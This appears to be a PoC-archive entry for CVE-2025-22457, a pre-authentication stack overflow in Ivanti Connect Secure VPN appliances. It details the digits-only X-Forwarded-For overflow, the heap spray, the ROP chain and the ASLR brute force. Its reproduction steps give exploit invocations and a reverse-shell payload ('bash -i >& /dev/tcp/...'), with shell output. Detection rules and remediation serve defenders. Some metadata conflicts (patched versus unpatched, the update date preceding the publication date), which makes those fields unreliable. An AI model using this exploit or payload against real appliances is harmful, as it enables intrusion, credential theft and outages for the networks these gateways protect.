Ivanti Connect Secure / Policy Secure / ZTA Gateways Remote Unauthenticated Stack-Based Buffer Overflow (CVE-2025-22457)
Published: 2026-08-09 • Researcher: Stephen Fewer (Rapid7)
Exploitation signals
Confirmed exploited in the wild. Added to CISA KEV 2025-04-04. Federal remediation deadline 2025-04-11.
EPSS 100.0% · 100th percentile
- Severity
- Critical
- CVE
- CVE-2025-22457
- Category
- network
- Affected product
- Ivanti Connect Secure, Pulse Connect Secure (end of support), Ivanti Policy Secure, Ivanti ZTA Gateways — the /home/bin/web HTTPS front-end process
- Affected versions
- Ivanti Connect Secure before 22.7R2.6; Ivanti Policy Secure before 22.7R1.4; Ivanti ZTA Gateways before 22.8R2.2; Pulse Connect Secure 9.1R18.9 and earlier (9.1x reached end of support on 2024-12-31 and receives no fix). The PoC in this folder ships a single hard-coded gadget target for Connect Secure 22.7r2.4 build 3597, reported by the appliance as product version 22.7.2.3597
- Disclosed
- 2026-08-09
- Patch status
- Unpatched
Tags
References
- https://nvd.nist.gov/vuln/detail/CVE-2025-22457
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog
- https://www.cisa.gov/cisa-mitigation-instructions-cve-2025-22457
- https://forums.ivanti.com/s/article/April-Security-Advisory-Ivanti-Connect-Secure-Policy-Secure-ZTA-Gateways-CVE-2025-22457
- https://attackerkb.com/topics/0ybGQIkHzR/cve-2025-22457/rapid7-analysis
- https://github.com/sfewer-r7/CVE-2025-22457
- https://github.com/BishopFox/CVE-2025-0282-check
Archive entry
intelseclab/poc-archiveOn this page
Metadata
| Field | Value |
|---|---|
| Date Added | 2026-08-09 |
| Last Updated | 2025-04-25 |
| Author / Researcher | Stephen Fewer (Rapid7) |
| CVE / Advisory | CVE-2025-22457 |
| Category | network |
| Severity | Critical |
| CVSS Score | 9.0 (CVSSv3.1) |
| Status | Patched |
| Tags | ivanti, connect-secure, pulse-connect-secure, policy-secure, zta-gateway, vpn, stack-overflow, CWE-121, buffer-overflow, rce, unauthenticated, rop, heap-spray, aslr-bruteforce, x-forwarded-for, cisa-kev, ransomware, ruby, edge-device |
| Related | N/A |
Affected Target
| Field | Value |
|---|---|
| Software / System | Ivanti Connect Secure, Pulse Connect Secure (end of support), Ivanti Policy Secure, Ivanti ZTA Gateways — the /home/bin/web HTTPS front-end process |
| Versions Affected | Ivanti Connect Secure before 22.7R2.6; Ivanti Policy Secure before 22.7R1.4; Ivanti ZTA Gateways before 22.8R2.2; Pulse Connect Secure 9.1R18.9 and earlier (9.1x reached end of support on 2024-12-31 and receives no fix). The PoC in this folder ships a single hard-coded gadget target for Connect Secure 22.7r2.4 build 3597, reported by the appliance as product version 22.7.2.3597 |
| Language / Platform | Native 32-bit x86 ELF on Linux (SELinux-jailed appliance kernel); exploit is Ruby |
| Authentication Required | No |
| Network Access Required | Yes — TCP reachability to the appliance HTTPS listener (default 443) |
Summary
CVE-2025-22457 is a remote, pre-authentication stack-based buffer overflow (CWE-121) in the HTTPS request-handling path of Ivanti Connect Secure and sibling appliances. A single oversized X-Forwarded-For request header overflows a fixed-size stack buffer in the /home/bin/web process, overwriting saved registers and the saved return address. The overflow is constrained to a digits-only character set, so the exploit cannot write arbitrary pointer bytes directly into the corrupted frame; instead it sprays a 3 MB ROP pattern into the heap over hundreds of pre-opened IF-T/TLS sockets, then uses the digits-only overflow to pivot the stack into that sprayed pattern. The result is remote code execution as the unprivileged appliance web user (uid=104(nr)), which on these appliances is the standard beachhead for credential and configuration theft, webshell implantation and lateral movement into the protected network. The flaw is in the CISA KEV catalog (added 2025-04-04) with knownRansomwareCampaignUse = Known and an EPSS score at effectively 1.00, making it one of the most reliably exploited edge-device bugs of its cohort.
Vulnerability Details
Root Cause
The appliance HTTP request parser copies attacker-controlled header data into a fixed-size stack buffer without bounding the length. In the specific target build (22.7.2.3597) the PoC establishes empirically that 622 bytes of header data reach the end of the vulnerable buffer, with the next 24 bytes landing directly on the saved ebx, esi, edi, ebp, the saved return address, and then the first stack argument slot [ebp+8]:
| |
Two properties make this bug awkward rather than trivially exploitable, and the PoC solves both:
- Digits-only charset. The overflowing field is validated or normalised such that only
0123456789and.survive the copy. The PoC asserts this explicitly (throw 'bad chars in buffer, only 0123456789. allowed' unless buffer.scan(/^[\d.]+$/).any?). Every value written into the corrupted frame is therefore chosen so that its little-endian byte encoding is itself made of ASCII digits —0x31313131encodes as1111,0x35353535as5555, and the critical pivot pointer0x39393930encodes as0999. This is why the exploit cannot simply overwrite the saved return address with a library address, and why the comment on theeipslot reads “but we dont get control here”. - No direct EIP control. Instead of a return-address hijack, the overflow poisons the first argument slot
[ebp+8]so that a later dereference of that pointer (a1) reads from the digits-only address0x39393930, which the heap spray has already filled with a fully-formed fake frame plus ROP chain. Initial instruction-pointer control therefore comes from the sprayed data, not from the stack write.
The ROP chain and the system()-reaching call site are all offsets into the appliance library /home/lib/libdsplibs.so, annotated in the PoC with the disassembly they correspond to:
| |
The gadget_call_system site is a mov [esp], edi immediately followed by a call into DSSys::isInterfaceEnabled(char const*), a function that itself reaches a shell-invoking primitive; edi is made to point at the attacker command string, and ebx is loaded with the library GOT/PLT base (offset_to_got_plt) so that PIC-style relative calls resolve correctly.
Attack Vector
Unauthenticated HTTPS to the appliance, in three phases, repeated per ASLR guess:
- Fingerprint. A GET of
/dana-na/auth/url_admin/welcome.cgi?type=interis scraped for theproductversionform field (technique credited in the source to the BishopFox CVE-2025-0282 check), yielding e.g.22.7.2.3597. The exploit throws if no gadget table exists for that version. - Heap spray over IF-T/TLS sockets. Up to
(1024 - 256) * web_childrensockets are opened, each performing a protocol upgrade the appliance answers with101 Switching Protocols:Each held socket then receives a ~3 MB IF-T/TLSOutputGET / HTTP/1.1 Host: <target>:<port> User-Agent: AnyConnect-compatible OpenConnect VPN Agent v9.12-188-gaebfabb3-dirty Content-Type: EAP Upgrade: IF-T/TLS 1.0 Content-Length: 0IFT_VERSION_REQUEST(vendor0x00005597, VENDOR_TCG) whose body is a 256-byte pattern repeated ~12288 times. - Trigger. A plain
GET / HTTP/1.1carrying the 646-byte digits-onlyX-Forwarded-Forheader is sentweb_children + 1times so that whichever forked/home/bin/webchild services the request has the spray resident. On failure the loop sleeps 5 seconds to let the appliance respawn the crashed child, then advances the ASLR guess.
The spray pattern is a hand-laid fake stack, keyed to the absolute address 0x39393930 that the poisoned argument slot points at:
| |
Two details worth calling out: the final dword is deliberately zeroed because it aliases ctx->max_headers at 0x39393930 + 0x64, letting the corrupted request escape the header-parsing loop early instead of crashing inside it; and 0x3939398C is left as 0x41414141 as an intentional post-payload crash marker.
ASLR is defeated by brute force over the low 8 bits of the library slide:
| |
--libdsplibs lets an operator with a rooted lab appliance supply the real base from /proc/<pid>/maps and skip the brute force entirely.
Impact
Remote code execution without credentials as the appliance web service account. The upstream ReadMe records the resulting shell as:
uid=104(nr) gid=104(nr) groups=104(nr)
Linux localhost2 4.17.00.35-selinux-jailing-production ... x86_64 GNU/LinuxOn a VPN concentrator that account can read configuration and session material and pivot to the internal networks the appliance terminates. Because each failed brute-force attempt crashes a /home/bin/web child, exploitation is also a denial-of-service against the VPN portal while it runs. The payload command is limited to 122 characters and is used to bootstrap a reverse shell, after which the operator has interactive access.
Environment / Lab Setup
Target: Ivanti Connect Secure 22.7r2.4 build 3597 (reports 22.7.2.3597), unpatched.
Gadget offsets are valid only for /home/lib/libdsplibs.so with
sha1 f31a3cc442df5178b37ea539ff418fec9bf3404f. Any other build needs a new
entry in the `targets` hash.
4 vCPU is the PoC default (1 web parent + 4 children, ISA4000-V shape).
Attacker: Any host with Ruby and network reachability to the appliance HTTPS port.
Tools: ruby, the httparty gem, ncat (or any TCP listener) for the reverse shell.
CVE-2025-22457.rb (this folder), mirrored unmodified from
https://github.com/sfewer-r7/CVE-2025-22457Setup Steps
| |
Note the child-process arithmetic: the appliance forks one /home/bin/web child per vCPU and load-balances HTTPS requests across them, so the spray must be planted in every child. --web_children must match the target shape (1 vCPU = no children, 2/4/8 vCPU = 2/4/8 children; 4 is the default and matches ISA4000-V, 8 matches ISA6000-V).
Proof of Concept
See
CVE-2025-22457.rb(full, unmodified) andupstream-README.mdin this folder, mirrored byte-for-byte from sfewer-r7/CVE-2025-22457. Verified before ingestion by reading the complete 356-line script end to end: it is a genuine, complete exploit, not a stub or a downloader. Every stage is implemented locally in Ruby — HTTP version fingerprinting, raw TLS socket handling, the threaded IF-T/TLS socket spray, the hand-annotated ROP chain againstlibdsplibs.so, the digits-only overflow buffer, and the ASLR brute-force loop.
Step-by-Step Reproduction
Start a listener for the reverse shell:
Shell script1ncat -lnvkp 8080Run the exploit against the target, brute-forcing ASLR (slow — expect roughly 1 success per 256 attempts):
Shell script1ruby CVE-2025-22457.rb -t 192.168.86.111 -p 443 --lhost 192.168.86.35 --lport 8080Optionally constrain the run to the real library base and the correct child count when testing against a lab appliance you already have root on:
Shell script1 2 3 4 5# On a rooted appliance: # cat /proc/<web-pid>/maps | grep libdsplibs # f642e000-f7994000 r-xp 00000000 fc:02 171879 /home/lib/libdsplibs.so ruby CVE-2025-22457.rb -t 192.168.86.111 -p 443 --lhost 192.168.86.35 --lport 8080 \ --web_children 4 --libdsplibs 0xf642e000Watch the phase log — each attempt walks connections, spray, trigger, then sleeps 5 seconds for the web child to respawn:
Output[+] Targeting https://192.168.86.111:443/ [+] Payload: bash -i >& /dev/tcp/192.168.86.35/8080 0>&1 [+] Detected version 22.7.2.3597 [+] Starting... [+] Attempt 0, trying libdsplibs.so @ 0xf64ca000 Making connections... Spraying... Triggering...
Exploit Code
See
CVE-2025-22457.rbin this folder for the complete implementation.
| |
| |
The payload itself is operator-supplied and the script refuses to run without it. The default template contains literal LHOST/LPORT placeholders, and the tool aborts unless both were substituted via command-line flags:
| |
Expected Output
Ncat: Connection from 192.168.86.111.
Ncat: Connection from 192.168.86.111:20746.
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
bash-4.2$ id
uid=104(nr) gid=104(nr) groups=104(nr)
bash-4.2$ uname -a
Linux localhost2 4.17.00.35-selinux-jailing-production #1 SMP Tue Jun 18 16:25:33 UTC 2024 x86_64 x86_64 x86_64 GNU/LinuxDetection & Indicators of Compromise
SIEM / IDS Rule (example):
alert http any any -> any 443 (msg:"Possible CVE-2025-22457 Ivanti X-Forwarded-For overflow"; \
flow:to_server,established; content:"X-Forwarded-For|3a| "; http_header; \
pcre:"/^X-Forwarded-For\x3a\s[0-9.]{300,}/Hmi"; sid:9002245701; rev:1;)
alert tcp any any -> any 443 (msg:"Possible CVE-2025-22457 IF-T/TLS heap spray pattern"; \
flow:to_server,established; content:"|0D F0 FE CA|"; depth:0; \
content:"|1D F0 FE CA|"; distance:0; within:16; sid:9002245702; rev:1;)Remediation
| Action | Detail |
|---|---|
| Patch | Upgrade Ivanti Connect Secure to 22.7R2.6 or later, Ivanti Policy Secure to 22.7R1.4 or later, and Ivanti ZTA Gateways to 22.8R2.2 or later. Pulse Connect Secure 9.1x reached end of support on 2024-12-31 and has no fix — migrate off it. CISA published dedicated mitigation instructions for this CVE with a KEV due date of 2025-04-11. |
| Workaround | No configuration workaround neutralises the overflow; the vulnerable header path is reachable pre-authentication on the public listener. Reduce exposure by restricting which source networks can reach the appliance management and portal interfaces, and by fronting the appliance with a proxy or WAF that rejects abnormally long X-Forwarded-For values and abnormal volumes of IF-T/TLS upgrade sockets. |
| Config Hardening | Run the Ivanti Integrity Checker Tool before and after patching and treat any failure as compromise. Because this flaw was exploited in the wild before patch availability, a factory reset onto a patched image is the safe rebuild path for any appliance that was internet-exposed while vulnerable, followed by rotation of every credential, certificate and session secret the appliance held. Enable and ship appliance logs off-box so that crash-and-respawn patterns survive an attacker who later cleans up. |
References
- NVD — CVE-2025-22457
- CISA KEV catalog entry (added 2025-04-04, due 2025-04-11, knownRansomwareCampaignUse: Known)
- CISA mitigation instructions for CVE-2025-22457
- Ivanti April Security Advisory — Connect Secure, Policy Secure, ZTA Gateways (CVE-2025-22457)
- Rapid7 AttackerKB analysis — CVE-2025-22457 (cited by the upstream ReadMe as the full technical write-up)
- Public PoC — sfewer-r7/CVE-2025-22457
- BishopFox/CVE-2025-0282-check (source of the
welcome.cgiversion-fingerprint technique referenced in the exploit)
Notes
Verified this session before ingestion by cloning sfewer-r7/CVE-2025-22457 and reading the full source of both files: CVE-2025-22457.rb (356 lines) and ReadMe.md (mirrored here as upstream-README.md). Findings: no obfuscated or encoded payloads, no remote downloaders or curl/wget/eval of network content, no credential harvesting or exfiltration, no cryptominer logic, no committed binaries or archives, and no setup.py, requirements.txt, Gemfile or any other install-time hook — so there is no install-time side-effect surface at all. The only third-party dependency is the httparty gem, imported normally at the top of the file. The single outbound callback in the tool is the reverse shell, and it is entirely operator-supplied: the default payload string carries literal LHOST/LPORT placeholders and the script throws and exits unless the operator substitutes both via --lhost/--lport, with no default or fallback address anywhere in the code.
Provenance: the author is Stephen Fewer, Senior Principal Security Researcher at Rapid7, publishing under the sfewer-r7 account with commits signed stephen_fewer@rapid7.com. The PoC header is dated 2025-04-09 and the last upstream commit is 2025-04-25. The upstream ReadMe links to the corresponding Rapid7 AttackerKB analysis, and the log transcripts embedded in it match the exact output format produced by the mirrored script.
Both files in this folder are byte-for-byte identical to a fresh upstream clone, verified with diff and sha256sum — no reformatting, paraphrasing or rewriting was performed.
Operational caveats for anyone reproducing this in a lab: the gadget table has exactly one entry, keyed on product version string 22.7.2.3597, and the exploit throws immediately on any other version — porting requires fresh offsets from the matching libdsplibs.so (the target build hash is recorded in the source as sha1 f31a3cc442df5178b37ea539ff418fec9bf3404f). The ASLR brute force is loud and destructive: every miss crashes a /home/bin/web child, so a full 256-guess sweep repeatedly interrupts VPN service. Note also that the throw calls used for argument validation are Ruby throw rather than raise, so invalid invocations exit with an UncaughtThrowError rather than a clean usage message.
Threat context at time of ingestion: this CVE has been in the CISA KEV catalog since 2025-04-04 with knownRansomwareCampaignUse = Known, an EPSS score of approximately 1.00 (99.99th percentile), and public reporting attributing pre-patch in-the-wild exploitation to a China-nexus espionage cluster deploying custom droppers and passive backdoors on Ivanti appliances. Treat any vulnerable appliance that was internet-facing as presumed compromised rather than merely at risk.
| |